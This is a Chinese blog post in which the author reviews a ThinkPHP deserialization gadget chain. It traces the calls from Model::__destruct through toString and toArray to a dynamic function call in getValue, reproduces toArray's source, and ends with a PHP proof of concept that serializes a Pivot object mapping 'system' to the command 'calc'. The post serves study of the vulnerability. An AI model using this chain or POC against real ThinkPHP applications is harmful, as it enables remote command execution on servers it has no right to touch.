划水这么久,昨天终于把这个链子审完了,简单写一下链子和POC吧,不得不说审这种链子和一开始比起来好太多了,看着也没那么头疼了
但还是要多审点代码呀,准备再把一些cms下下来找找漏洞,也不知道哪一天才能独立挖到漏洞。
反序列化
起点是Model类中的__destruct()

跟进save()

跟进updateData()

跟进checkAllowFields()

跟进db()

这里字符串拼接可触发toString()
搜索toString(),可用的在Conversion类中

跟进toArray(),这个函数太长了,截图截不下,直接粘贴过来吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| public function toArray(): array { $item = []; $hasVisible = false;
foreach ($this->visible as $key => $val) { if (is_string($val)) { if (strpos($val, '.')) { [$relation, $name] = explode('.', $val); $this->visible[$relation][] = $name; } else { $this->visible[$val] = true; $hasVisible = true; } unset($this->visible[$key]); } } foreach ($this->hidden as $key => $val) { if (is_string($val)) { if (strpos($val, '.')) { [$relation, $name] = explode('.', $val); $this->hidden[$relation][] = $name; } else { $this->hidden[$val] = true; } unset($this->hidden[$key]); } } // 合并关联数据 $data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) { if ($val instanceof Model || $val instanceof ModelCollection) { // 关联模型对象 if (isset($this->visible[$key]) && is_array($this->visible[$key])) { $val->visible($this->visible[$key]); } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) { $val->hidden($this->hidden[$key]); } // 关联模型对象 if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) { $item[$key] = $val->toArray(); } } elseif (isset($this->visible[$key])) { $item[$key] = $this->getAttr($key); } elseif (!isset($this->hidden[$key]) && !$hasVisible) { $item[$key] = $this->getAttr($key); } } // 追加属性(必须定义获取器) foreach ($this->append as $key => $name) { $this->appendAttrToArray($item, $key, $name); }
return $item; }
|
重点在这里

跟进getAttr()

跟进getValue()

这里用了动态函数调用,可以执行任意函数,然后构造POC
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| <?php namespace think\model\concern { trait Attribute { private $data = ['key'=>'calc']; private $withAttr = ['key'=>'system']; } }
namespace think { abstract class Model { use model\concern\Attribute; private $lazySave = true; } } namespace think\Model { use think\Model; use think\Validate; class Pivot extends Model { function __construct() { $this->exists = true; $this->withEvent = false; $this->suffix = $this; $this->relation = []; $this->strict = true; $this->visible = [['123']]; } } $a = new Pivot(); echo urlencode(serialize($a)); echo "\n"; }
|